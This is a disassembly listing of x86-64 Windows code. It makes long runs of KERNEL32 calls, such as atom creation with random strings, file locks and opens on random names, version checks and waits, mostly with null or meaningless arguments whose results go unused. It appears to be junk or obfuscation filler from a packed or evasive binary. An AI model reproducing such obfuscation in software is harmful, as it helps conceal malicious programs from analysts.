mov qword [rsp + 0xbe20], rax
movsx eax, byte [rsp + 0x27d]
movsx ecx, byte [rsp + 0x2d1]
and eax, ecx
mov byte [rsp + 0x295], al
mov r9d, 2
lea r8, [rsp + 0xb690]
mov rdx, qword [rsp + 0xbe28]
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4aac], eax
mov rcx, qword [rsp + 0xbdd8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49ec], eax
mov edx, 0x381
mov rcx, qword [rsp + 0xbc90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4938], eax
mov rax, qword [rsp + 0xab60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb918]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9f0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov r9d, 0x20bb
xor r8d, r8d
lea rdx, [rsp + 0xa018]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4eb4], eax
lea rcx, str.Azc_SCGFh2r_le1FKGE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14c8], ax
mov rax, qword [rsp + 0xbce8]
mov rcx, qword [rsp + 0x8238]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xac48]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbe30], rax
movzx ecx, word [rsp + 0xf40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13e0], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x2002
mov r8d, 0xed7
mov edx, 0xfa
mov rcx, qword [rsp + 0xb150]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x5034], eax
mov rcx, qword [rsp + 0x98f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x15d0], ax
mov eax, dword [rsp + 0x49d8]
mov ecx, dword [rsp + 0x4314]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a08], eax
lea rax, [rsp + 0x2ae]
mov qword [rsp + 0xbe38], rax
lea rcx, [rsp + 0xa968]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [0x14022fb98]
mov word [0x14024f014], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x279]
mov rcx, qword [rsp + 0xac98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11c], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rcx, [rsp + 0x219c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4cbc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [rsp + 0x10a4]
mov qword [rsp + 0xbe40], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbe48], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [0x14024f188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba18]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
mov edx, 0x194
mov rcx, qword [rsp + 0xa460]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4c20], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9590], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x3177
mov r8d, 0x99f
mov edx, 0x52
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4aa4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbe50], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x9fb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xab60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa700]
mov word [rcx], ax
mov rcx, qword [rsp + 0xa1a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x20d60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d60], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa6b8]
movzx eax, byte [rax]
mov byte [rsp + 0x2ee], al
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20340]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b94], eax
movzx ecx, word [rsp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1310], ax
mov rax, qword [rsp + 0xb2e8]
mov rcx, qword [rsp + 0xa850]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xaf60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2c0]
movzx eax, byte [rax]
mov byte [rsp + 0x2ef], al
lea rcx, [rsp + 0x1adf8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x21d20]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4db8], eax
mov rax, qword [rsp + 0xbd50]
movzx eax, word [rax]
imul eax, eax, 0xe3
mov word [rsp + 0xeec], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rcx, str.Zw_myg_EmAk2LJ.pgly6C
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1600], ax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0xbcc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024f188]
mov dword [rcx], eax
lea rax, [rsp + 0x7960]
mov qword [rsp + 0xbe58], rax
mov rax, qword [rsp + 0xa598]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbd08]
sar rax, cl
mov rcx, qword [rsp + 0x9868]
mov qword [rcx], rax
mov rax, qword [rsp + 0xac20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd08]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb7e0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb9c]
movzx ecx, word [rsp + 0x600]
cdq
idiv ecx
mov word [rsp + 0xb94], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
mov rax, qword [rsp + 0xa650]
mov rcx, qword [rsp + 0xaa08]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x95f8]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1498]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13e0], ax
lea rax, [rsp + 0x4e7c]
mov qword [rsp + 0xbe60], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0xbd48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xba90], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x20], 0x34f7
mov r9d, 0x1cdb
mov r8d, 0x221
mov edx, 0x1e45
mov rcx, qword [rsp + 0xbc40]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x5038], eax
movsx eax, word [rsp + 0x7e0]
movsx ecx, word [rsp + 0xf54]
shl eax, cl
mov word [rsp + 0x158c], ax
lea rcx, str.PKb_MyFG9z
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14a0], ax
mov rax, qword [rsp + 0xa450]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xef]
add eax, ecx
mov rcx, qword [rsp + 0xa568]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x210c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f60], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbe68], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3d8f
mov r9d, 0x3cca
mov r8d, 0xbc19b401
mov edx, 2
mov rcx, qword [rsp + 0xb6b0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4c60], eax
movzx ecx, word [rsp + 0x1430]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1604], ax
xor r9d, r9d
lea r8, [rsp + 0xb9a8]
mov rdx, qword [rsp + 0xb830]
mov rcx, qword [rsp + 0xad58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4fd8], eax
mov rax, qword [rsp + 0xa5f8]
mov rcx, qword [rsp + 0xb478]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14022fbe8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1f920]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ae8], eax
movzx ecx, word [rsp + 0x104c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1608], ax
lea rax, [rsp + 0x2c1]
mov qword [rsp + 0xbe70], rax
mov rax, qword [rsp + 0xaac8]
mov rcx, qword [0x14024f1d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43d8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xab48], rax
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1550], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movzx eax, byte [rsp + 0x2b2]
mov byte [rsp + 0x2f0], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbe78], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x9860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb128]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe5c], ax
mov rax, qword [rsp + 0xa998]
mov rcx, qword [rsp + 0xb890]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a24], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx ecx, word [rsp + 0x14e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x160c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rcx, [rsp + 0xbe80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rax, [rsp + 0xfe8]
mov qword [rsp + 0xbe88], rax
movsx eax, byte [rsp + 0x2ac]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa030]
mov rcx, qword [rsp + 0xb1b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8390], rax
lea rcx, [rsp + 0x1a858]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4738]
sub ecx, eax
mov eax, ecx
mov dword [0x14024f128], eax
mov dword [rsp + 0x22bc0], 0x11c
movzx eax, word [rsp + 0xf98]
mov rcx, qword [0x14024f050]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb28], ax
xor r9d, r9d
lea r8, [rsp + 0xb770]
mov rdx, qword [rsp + 0xaf90]
mov rcx, qword [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cd4], eax
lea rdx, [rsp + 0x9740]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x503c], eax
mov edx, 0x1938
mov rcx, qword [rsp + 0xa150]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f0], eax
lea rcx, [rsp + 0x9ee0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.UObywNuRxgG3AytH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbe90], rax
mov rcx, qword [rsp + 0xa140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0x2da
mov r9d, 0x9b3
mov r8d, 0x105f
mov edx, 0x206b
mov rcx, qword [rsp + 0xa0b8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4bbc], eax
mov rax, qword [rsp + 0xa468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3a0]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xbcf8]
mov byte [rcx], al
mov r9d, 0x762
xor r8d, r8d
lea rdx, [rsp + 0xbd78]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x5040], eax
mov edx, 0x708
mov rcx, qword [rsp + 0xbd00]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x5030], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
lea rcx, str.BZ4.h9NOJN.ME_BjL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1610], ax
lea rax, [rsp + 0xa3d8]
mov qword [rsp + 0xbe98], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xa3a0]
mov rcx, qword [rsp + 0x99f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7db8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x9170]
movzx eax, word [rax]
mov word [rsp + 0x1614], ax
movzx ecx, word [rsp + 0x1490]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1618], ax
mov rax, qword [rsp + 0xa6b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a3]
xor eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
mov rax, qword [rsp + 0x9c00]
mov eax, dword [rax]
mov dword [rsp + 0x5044], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rcx, [rsp + 0xb740]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x161c], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x3d8f
mov r8d, 0x3cca
mov edx, 0x16
mov rcx, qword [rsp + 0xb6b0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4b88], eax
mov rax, qword [rsp + 0xa270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2ae], al
mov r9d, 0x847
xor r8d, r8d
lea rdx, [rsp + 0x9668]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b2c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbea0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x9630]
mov eax, dword [rax]
mov dword [0x14024f010], eax
mov r9d, 0x8b8
xor r8d, r8d
lea rdx, [rsp + 0x8ce0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d48], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbea8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movzx ecx, word [rsp + 0x12b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
mov r9d, 2
lea r8, [rsp + 0xa2d8]
mov rdx, qword [rsp + 0xbac8]
mov rcx, qword [rsp + 0xa348]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5048], eax
movzx ecx, word [rsp + 0x13bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1490], ax
movzx ecx, word [rsp + 0x10c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1620], ax
lea rcx, [rsp + 0xb408]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x211e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4fa8], eax
movzx eax, word [rsp + 0xacc]
movzx ecx, word [rsp + 0x1338]
or eax, ecx
mov word [rsp + 0xa3c], ax
mov rax, qword [rsp + 0x7af8]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0xbeb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbeb0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7950], rax
mov rax, qword [rsp + 0xadd0]
mov rcx, qword [rsp + 0x95b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb490], rax
lea rax, [rsp + 0x12f8]
mov qword [rsp + 0xbeb8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb5d8], rax
movsx eax, byte [rsp + reloc.COMCTL32.dll_RemoveWindowSubclass]
mov rcx, qword [rsp + 0xa488]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x29a], al
lea rcx, [rsp + 0x1ae28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9f50]
mov ecx, dword [rsp + 0x4204]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd28]
movzx eax, word [rax]
mov word [rsp + 0x1624], ax
lea rcx, [rsp + 0xbb58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x98a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4440]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
lea rax, [rsp + 0x270]
mov qword [0x14024f008], rax
lea rdx, [rsp + 0xbec0]
mov rcx, qword [rsp + 0xb150]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b84], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor r9d, r9d
lea r8, [rsp + 0xba80]
mov rdx, qword [rsp + 0xa420]
mov rcx, qword [rsp + 0xb920]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cf0], eax
lea rcx, str.KmgBW8d
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1628], ax
movzx ecx, word [rsp + 0xffc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11fc], ax
mov edx, 0x8fc
mov rcx, qword [rsp + 0x9b60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f8], eax
lea rax, [rsp + 0x9ab0]
mov qword [rsp + 0xbec8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.3TOLBzV7iMi2fvm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbed0], rax
lea rcx, [rsp + 0xb808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0x124c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1008], ax
mov rcx, qword [rsp + 0xaec8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.1XkV2ESibFV69Zg6Rde0N9Ke70WJ_ss0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbed8], rax
xor r9d, r9d
lea r8, [rsp + 0xb070]
mov rdx, qword [rsp + 0xa678]
mov rcx, qword [rsp + 0x9638]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5048], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbee0], rax
xor r9d, r9d
lea r8, [rsp + 0xa5e0]
mov rdx, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bec], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0xbce8]
mov rcx, qword [rsp + 0xbb68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa7e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xabd0]
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4adc], eax
mov rax, qword [rsp + 0xa9d0]
mov ecx, dword [rsp + 0x483c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb9b0]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x9c28]
mov rdx, qword [rsp + 0xbe00]
mov rcx, qword [rsp + 0xb278]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x504c], eax
mov rcx, qword [rsp + 0x96d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
mov rax, qword [0x14024f060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe2]
add eax, ecx
mov byte [rsp + 0xdb], al
movsx eax, word [rsp + 0xe3c]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfc8], ax
lea rax, [rsp + 0x4fe8]
mov qword [rsp + 0xbee8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0xb6c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb3d8], rax
mov edx, 0x1e04
mov rcx, qword [rsp + 0xb398]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a74], eax
mov r9d, 2
lea r8, [rsp + 0xac58]
mov rdx, qword [rsp + 0x9cc0]
mov rcx, qword [rsp + 0xa7f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5050], eax
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xbef0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaca0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
lea rcx, str.PeN_Q8p6_IqNY9JLS_AtKpkj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x162c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xab50], rax
mov r9d, 2
lea r8, [rsp + 0x9a58]
mov rdx, qword [rsp + 0xbef8]
mov rcx, qword [rsp + 0xb738]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4d14], eax
mov dword [rsp + 0x20], 0x1193
mov r9d, 0xc9
mov r8d, 0x3ecc
mov edx, 0x2636
mov rcx, qword [rsp + 0x9b78]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4c44], eax
mov rax, qword [rsp + 0xb4e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b1c]
sub ecx, eax
mov eax, ecx
mov dword [0x14022fba0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbf00], rax
mov rax, qword [rsp + 0xb588]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ef], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov r9d, 0x1007
xor r8d, r8d
lea rdx, [rsp + 0x96b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d78], eax
lea rcx, [rsp + 0xb8f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x1ae58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x1334]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14f0], ax
mov r9d, 0xfcc
xor r8d, r8d
lea rdx, [rsp + 0x9ad8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x5054], eax
